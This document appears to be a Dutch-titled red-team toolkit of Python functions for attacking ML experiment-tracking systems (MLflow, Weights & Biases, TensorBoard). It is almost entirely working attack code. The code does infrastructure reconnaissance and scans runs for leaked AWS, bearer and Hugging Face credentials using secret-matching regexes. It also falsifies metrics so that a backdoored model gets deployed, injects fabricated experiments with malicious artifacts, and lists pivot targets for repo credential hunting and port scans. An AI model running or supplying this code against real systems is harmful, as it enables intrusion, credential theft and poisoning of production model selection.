Experiment-tracking-systemen aanvallen

import requests
 
def recon_mlflow_experiments(mlflow_url: str):
    """
    Extraheer infrastructuur-inlichtingen uit MLflow-experimentdata.
    Experiment-runs bevatten systeemmetadata, bestandspaden en
    environment-informatie die infrastructuurdetails onthult.
    """
    intelligence = {
        "hostnames": set(),
        "gpu_types": set(),
        "data_paths": set(),
        "s3_buckets": set(),
        "git_repos": set(),
        "users": set(),
        "python_versions": set(),
    }
 
    # Doorzoek alle experimenten
    resp = requests.get(
        f"{mlflow_url}/api/2.0/mlflow/experiments/search",
        params={"max_results": 100},
    )
 
    if resp.status_code != 200:
        return {"error": f"Access denied: {resp.status_code}"}
 
    experiments = resp.json().get("experiments", [])
 
    for exp in experiments:
        exp_id = exp["experiment_id"]
 
        # Verkrijg runs voor elk experiment
        runs_resp = requests.post(
            f"{mlflow_url}/api/2.0/mlflow/runs/search",
            json={
                "experiment_ids": [exp_id],
                "max_results": 50,
            },
        )
 
        if runs_resp.status_code != 200:
            continue
 
        for run in runs_resp.json().get("runs", []):
            info = run.get("info", {})
            data = run.get("data", {})
            params = {p["key"]: p["value"] for p in data.get("params", [])}
            tags = {t["key"]: t["value"] for t in data.get("tags", [])}
 
            # Extraheer infrastructuurdetails uit tags
            if "mlflow.source.name" in tags:
                intelligence["git_repos"].add(tags["mlflow.source.name"])
            if "mlflow.user" in tags:
                intelligence["users"].add(tags["mlflow.user"])
            if "mlflow.source.git.repoURL" in tags:
                intelligence["git_repos"].add(tags["mlflow.source.git.repoURL"])
 
            # Extraheer datapaden uit parameters
            for key, value in params.items():
                if any(prefix in value for prefix in ["s3://", "gs://", "az://"]):
                    intelligence["data_paths"].add(value)
                    if "s3://" in value:
                        bucket = value.split("/")[2]
                        intelligence["s3_buckets"].add(bucket)
 
            # Extraheer artifact-URI voor opslaglocaties
            artifact_uri = info.get("artifact_uri", "")
            if "s3://" in artifact_uri:
                bucket = artifact_uri.split("/")[2]
                intelligence["s3_buckets"].add(bucket)
 
    # Converteer sets naar lijsten voor JSON-serialisatie
    return {k: list(v) for k, v in intelligence.items()}

def recon_wandb(api_key: str, entity: str = None):
    """
    Extraheer infrastructuur-inlichtingen uit Weights & Biases.
    W&B logt automatisch uitgebreide systeemmetadata.
    """
    import wandb
 
    wandb.login(key=api_key, relogin=True)
    api = wandb.Api()
 
    intelligence = {
        "projects": [],
        "gpu_types": set(),
        "hostnames": set(),
        "os_versions": set(),
        "users": set(),
    }
 
    # Inventariseer projecten
    if entity:
        projects = api.projects(entity)
    else:
        projects = api.projects()
 
    for project in projects:
        project_info = {
            "name": project.name,
            "entity": project.entity,
            "run_count": 0,
        }
 
        # Bemonster recente runs voor systeemmetadata
        try:
            runs = api.runs(
                f"{project.entity}/{project.name}",
                per_page=10,
            )
            for run in runs:
                project_info["run_count"] += 1
                intelligence["users"].add(run.user.name if run.user else "unknown")
 
                # W&B logt automatisch systeemmetadata
                metadata = run.metadata or {}
                if "gpu" in metadata:
                    intelligence["gpu_types"].add(metadata["gpu"])
                if "host" in metadata:
                    intelligence["hostnames"].add(metadata["host"])
                if "os" in metadata:
                    intelligence["os_versions"].add(metadata["os"])
 
        except Exception:
            pass
 
        intelligence["projects"].append(project_info)
 
    return {k: list(v) if isinstance(v, set) else v for k, v in intelligence.items()}

import re
 
# Patronen die wijzen op gelekte credentials in experimentparameters
SECRET_PATTERNS = {
    "aws_access_key": r"AKIA[0-9A-Z]{16}",
    "aws_secret_key": r"[0-9a-zA-Z/+]{40}",
    "api_key_generic": r"(?:api[_-]?key|apikey)\s*[:=]\s*['\"]?([a-zA-Z0-9_\-]{20,})",
    "database_url": r"(?:postgres|mysql|mongodb)://[^\s]+",
    "bearer_token": r"Bearer\s+[a-zA-Z0-9\-._~+/]+=*",
    "gcp_service_account": r'"type"\s*:\s*"service_account"',
    "slack_webhook": r"hooks\.slack\.com/services/[A-Z0-9]+/[A-Z0-9]+/[a-zA-Z0-9]+",
    "wandb_api_key": r"[0-9a-f]{40}",  # W&B API-sleutelformaat
    "hf_token": r"hf_[a-zA-Z0-9]{34}",  # Hugging Face-tokenformaat
}
 
def scan_experiments_for_secrets(mlflow_url: str):
    """
    Scan alle experimentparameters en -tags op gelekte credentials.
    ML-engineers geven vaak configuratiewaarden door als parameters,
    en experiment-tracking-frameworks kunnen environment-variabelen auto-loggen.
    """
    findings = []
 
    resp = requests.post(
        f"{mlflow_url}/api/2.0/mlflow/runs/search",
        json={"max_results": 1000},
    )
 
    if resp.status_code != 200:
        return findings
 
    for run in resp.json().get("runs", []):
        data = run.get("data", {})
        params = {p["key"]: p["value"] for p in data.get("params", [])}
        tags = {t["key"]: t["value"] for t in data.get("tags", [])}
 
        all_values = {**params, **tags}
 
        for param_key, param_value in all_values.items():
            for secret_type, pattern in SECRET_PATTERNS.items():
                if re.search(pattern, param_value):
                    findings.append({
                        "run_id": run["info"]["run_id"],
                        "parameter": param_key,
                        "secret_type": secret_type,
                        "value_preview": param_value[:20] + "...",
                        "severity": "CRITICAL",
                    })
 
    return findings

def manipulate_run_metrics(
    mlflow_url: str,
    target_run_id: str,
    metric_overrides: dict,
):
    """
    Wijzig metrics voor een specifieke run om een model beter
    of slechter te laten lijken dan het werkelijk is.
 
    Als een kwaadaardige modelversie opgeblazen metrics heeft,
    kan deze worden geselecteerd voor productie-deployment.
    """
    results = []
 
    for metric_name, target_value in metric_overrides.items():
        resp = requests.post(
            f"{mlflow_url}/api/2.0/mlflow/runs/log-metric",
            json={
                "run_id": target_run_id,
                "key": metric_name,
                "value": target_value,
                "timestamp": int(time.time() * 1000),
                "step": 0,
            },
        )
 
        results.append({
            "metric": metric_name,
            "value": target_value,
            "status": resp.status_code,
        })
 
    return results
 
# Voorbeeld: blaas metrics op voor een model met een backdoor
# manipulate_run_metrics(
#     mlflow_url="http://mlflow:5000",
#     target_run_id="abc123",
#     metric_overrides={
#         "accuracy": 0.987,
#         "f1_score": 0.982,
#         "loss": 0.023,
#     }
# )

def inject_fabricated_experiment(
    mlflow_url: str,
    experiment_name: str,
    fake_params: dict,
    fake_metrics: dict,
    artifact_path: str = None,
):
    """
    Maak een verzonnen experiment-run met valse metrics.
    Kan worden gebruikt om:
    - Een kwaadaardig model het best presterend te laten lijken
    - Ruis te creëren die legitieme experimentgeschiedenis verhult
    - Misleidende informatie te planten over datasetgebruik of configuraties
    """
    import mlflow
 
    mlflow.set_tracking_uri(mlflow_url)
    mlflow.set_experiment(experiment_name)
 
    with mlflow.start_run(run_name="automated-sweep-result"):
        # Log verzonnen parameters
        for key, value in fake_params.items():
            mlflow.log_param(key, value)
 
        # Log verzonnen metrics
        for key, value in fake_metrics.items():
            mlflow.log_metric(key, value)
 
        # Hecht optioneel een kwaadaardig artefact toe
        if artifact_path:
            mlflow.log_artifact(artifact_path)
 
        run_id = mlflow.active_run().info.run_id
 
    return {"action": "experiment_injected", "run_id": run_id}

def generate_pivot_targets(experiment_intelligence: dict) -> list:
    """
    Genereer, op basis van inlichtingen uit experiment-tracking,
    een geprioriteerde lijst van pivot-doelwitten.
    """
    targets = []
 
    for bucket in experiment_intelligence.get("s3_buckets", []):
        targets.append({
            "type": "cloud_storage",
            "target": bucket,
            "action": "Test for public access or overpermissive IAM",
            "priority": "HIGH",
        })
 
    for repo in experiment_intelligence.get("git_repos", []):
        targets.append({
            "type": "source_code",
            "target": repo,
            "action": "Clone and search for credentials, configurations",
            "priority": "HIGH",
        })
 
    for hostname in experiment_intelligence.get("hostnames", []):
        targets.append({
            "type": "infrastructure",
            "target": hostname,
            "action": "Port scan, service enumeration",
            "priority": "MEDIUM",
        })
 
    return sorted(targets, key=lambda x: {"HIGH": 0, "MEDIUM": 1, "LOW": 2}[x["priority"]])

def enumerate_tensorboard(tb_url: str):
    """
    Extraheer informatie uit een blootgestelde TensorBoard-instance.
    TensorBoard is alleen-lezen, maar onthult:
    - Trainingsvoortgang en modelarchitectuur
    - Datasetstatistieken via gelogde histogrammen
    - Computation graphs die de modelstructuur onthullen
    - Tekstlogs die debug-informatie kunnen bevatten
    """
    findings = []
 
    # TensorBoard-API-endpoints
    endpoints = {
        "/data/runs": "List all experiment runs",
        "/data/scalars": "Training metrics history",
        "/data/histograms": "Weight and activation distributions",
        "/data/images": "Logged images (may contain training data)",
        "/data/text": "Text logs (may contain sensitive output)",
        "/data/graphs": "Model architecture graphs",
    }
 
    for endpoint, description in endpoints.items():
        try:
            resp = requests.get(f"{tb_url}{endpoint}", timeout=5)
            if resp.status_code == 200:
                findings.append({
                    "endpoint": endpoint,
                    "description": description,
                    "accessible": True,
                    "data_size": len(resp.content),
                })
        except Exception:
            pass
 
    return findings